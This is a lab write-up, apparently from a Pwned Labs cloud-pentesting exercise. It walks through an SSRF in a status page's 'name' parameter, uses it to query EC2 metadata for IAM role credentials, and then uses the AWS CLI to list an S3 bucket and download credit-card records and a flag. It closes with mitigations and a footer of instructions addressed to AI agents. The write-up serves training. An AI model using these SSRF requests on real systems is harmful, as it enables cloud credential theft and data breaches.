# SSRF to S3 Takeover via EC2 Metadata

LAB : [SSRF TO PWNED](https://pwnedlabs.io/labs/ssrf-to-pwned)

**Tags:** `AWS` `S3` `SSRF` `EC2` `Metadata` `Web` `CTF`

#### Learning outcomes

* Familiarity with the AWS CLI
* Web enumeration and SSRF identification
* Understanding of EC2 instance metadata, and how it can facilitate further access
* S3 bucket enumeration
* Understanding of mitigations and best practices that could have prevented the attack

<figure><img src="/files/bFLNPhwMHor3BiL3pN1l" alt=""><figcaption></figcaption></figure>

Connected to the lab environment and verified connectivity:

```
ping -c 1 app.huge-logistics.com
PING app.huge-logistics.com (52.6.119.121) 56(84) bytes of data.
64 bytes from ec2-52-6-119-121.compute-1.amazonaws.com (52.6.119.121): icmp_seq=1 ttl=57 time=239 ms
```

* The hostname resolves to:

```
ec2-52-6-119-121.compute-1.amazonaws.com
```

This strongly suggests the target is hosted on **AWS EC2**.

### Scanning

```
nmap -p- -vvv --min-rate 1000 app.huge-logistics.com
```

<figure><img src="/files/2pZCnpZqQ3YXWoQPX8q5" alt=""><figcaption></figcaption></figure>

* Only port 80 is open | and we see ec2-IP\_ADDR.compute.1.amazonaws.com
* The site is running on aws EC2.

```
nmap -p80 -sC -sV app.huge-logistics.com

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Huge Logistics Transport Category Flat Bootstrap Responsive We...
```

### Web Enumeration

Visiting the target: <http://app.huge-logistics.com>

I identified coupel of things

* Static logistics website
* Basic company info exposed (names/emails → possible recon value)
* No obvious input fields on main pages

<figure><img src="/files/0qQ4HQqkBQdj4uRqJNmh" alt=""><figcaption></figcaption></figure>

### Identifying Cloud Storage (S3)

#### Method 1: Right-click → Open image in new tab

<figure><img src="/files/fr2JpITmVzzu8npd9CtO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SIEulle14KWgwbzHMSwm" alt=""><figcaption></figcaption></figure>

And looking at the url bar we can see it's running on AWS

#### Method 2: View page source

We find image URLs like:

```
https://huge-logistics-storage.s3.amazonaws.com/web/images/about.jpg
```

<figure><img src="/files/IqrnMhNpnsWXVZ5kArV6" alt=""><figcaption></figcaption></figure>

In the sourcde code we can see it's running on AWS EC2.

{% hint style="info" icon="aws" %}

* The application is using an **AWS S3 bucket**
* Bucket name:  `huge-logistics-storage`
  {% endhint %}

### SSRF

Doing basic more enumeration, I discovered a **Status** page.

<figure><img src="/files/yx3bFS70u3jjAkZSclSe" alt=""><figcaption></figcaption></figure>

* It has `Huge Logistics Service Status` clicking on check button

<figure><img src="/files/uSF1XNYGZpYblCbSAoUx" alt=""><figcaption></figcaption></figure>

* It Looks for the All Systems Operational

<figure><img src="/files/4HkCmRXYGsDtWrCVXIWZ" alt=""><figcaption></figcaption></figure>

Well, everything looks fine so far, but in the URL I can see a parameter:

```
name=hugelogisticsstatus.com
```

This is not a proper way to check whether the system is operational.

* It likely makes a **server-side request** to hugelogisticsstatus.com domain
* This is a classic indicator of a potential **SSRF (**[**Server-Side Request Forgery**](https://hackviser.com/tactics/pentesting/web/ssrf)**)** vulnerability.

#### WHAT CAN I DO?

* Make the server send requests to **internal services**&#x20;
* Access **cloud metadata endpoints**
* Interact with **unreachable internal resources**

I tried replacing the `name` parameter with: localhost

```
http://app.huge-logistics.com/status/status.php?name=localhost
```

<figure><img src="/files/KdTalfZoatEygsxceMtq" alt=""><figcaption></figcaption></figure>

The request works successfully. i am able to load localhost content

Doing a googling i came across a great article from [hackingthe.cloud](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/)

> Most EC2 instances can access their IMDS at **169.254.169.254**. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

### Accessing Metadata via SSRF

```
http://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/iam/
```

<figure><img src="/files/PUAL0IVbzP0LwcXSgt9G" alt=""><figcaption></figcaption></figure>

We discover:

```
security-credentials/
```

To gather more details about the IAM role, we make the following request:

```
http://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/iam/info
```

<figure><img src="/files/KNx4qGKzGMvEglbdBzxH" alt=""><figcaption></figcaption></figure>

Acoording to article If there is a valid role then we can steal, we can make a request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. This will return the name of the IAM role associated with the credentials.

```
http://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials
```

<figure><img src="/files/DnN6XTgPjuEVEz10zJUo" alt=""><figcaption></figcaption></figure>

The instance is assigned an IAM role: `MetapwnedS3Access`

#### Extract Credentials

Now that we have the role name, we can request its credentials:

```
http://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access
```

<figure><img src="/files/rUcB26tEUpRQJ5XgM5Tu" alt=""><figcaption></figcaption></figure>

We successfully obtained:

* Access Key ID
* Secret Access Key
* Session Token

#### Authenticating&#x20;

```
aws configure
```

<figure><img src="/files/lWshQWv2TrJRpWB1gyJU" alt=""><figcaption></figcaption></figure>

```
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjED4aCXVzLWVhc3QtMSJIMEYCIQD....."
```

```
aws sts get-caller-identity
```

<figure><img src="/files/3zVmNvPjjYMq46juFgMm" alt=""><figcaption></figcaption></figure>

### Accessing / Enumerating S3 Bucket  (🪣)

We already know the bucket name  `huge-logistics-storage`&#x20;

<figure><img src="/files/Yt2RPPAoPVC8BwLtFrKE" alt=""><figcaption></figcaption></figure>

```
aws s3 ls s3://huge-logistics-storage/backup/
```

<figure><img src="/files/kHyf5ZLXp7FgiR4y1XFw" alt=""><figcaption></figcaption></figure>

We have cc-export2.txt and flag.txt

```
aws s3 cp s3://huge-logistics-storage/backup/cc-export2.txt .
```

<figure><img src="/files/FImwgVkTrSFndTjGv1AV" alt=""><figcaption></figcaption></figure>

* The bucket contains **sensitive financial data (credit card records)**.

<figure><img src="/files/dkYZj7LbcSymmTAHfTHO" alt=""><figcaption></figcaption></figure>

```
aws s3 cp s3://huge-logistics-storage/backup/flag.txt .
```

<figure><img src="/files/QsGrbp4toUK45iF29EJ8" alt=""><figcaption></figcaption></figure>

#### Mitigations

* Block access to `169.254.169.254` (IMDSv2 enforcement)
* Disable SSRF-prone features (server-side fetchers)
* Least privilege IAM roles


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/learning-cloud-pentesting/ssrf-to-s3-takeover-via-ec2-metadata.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.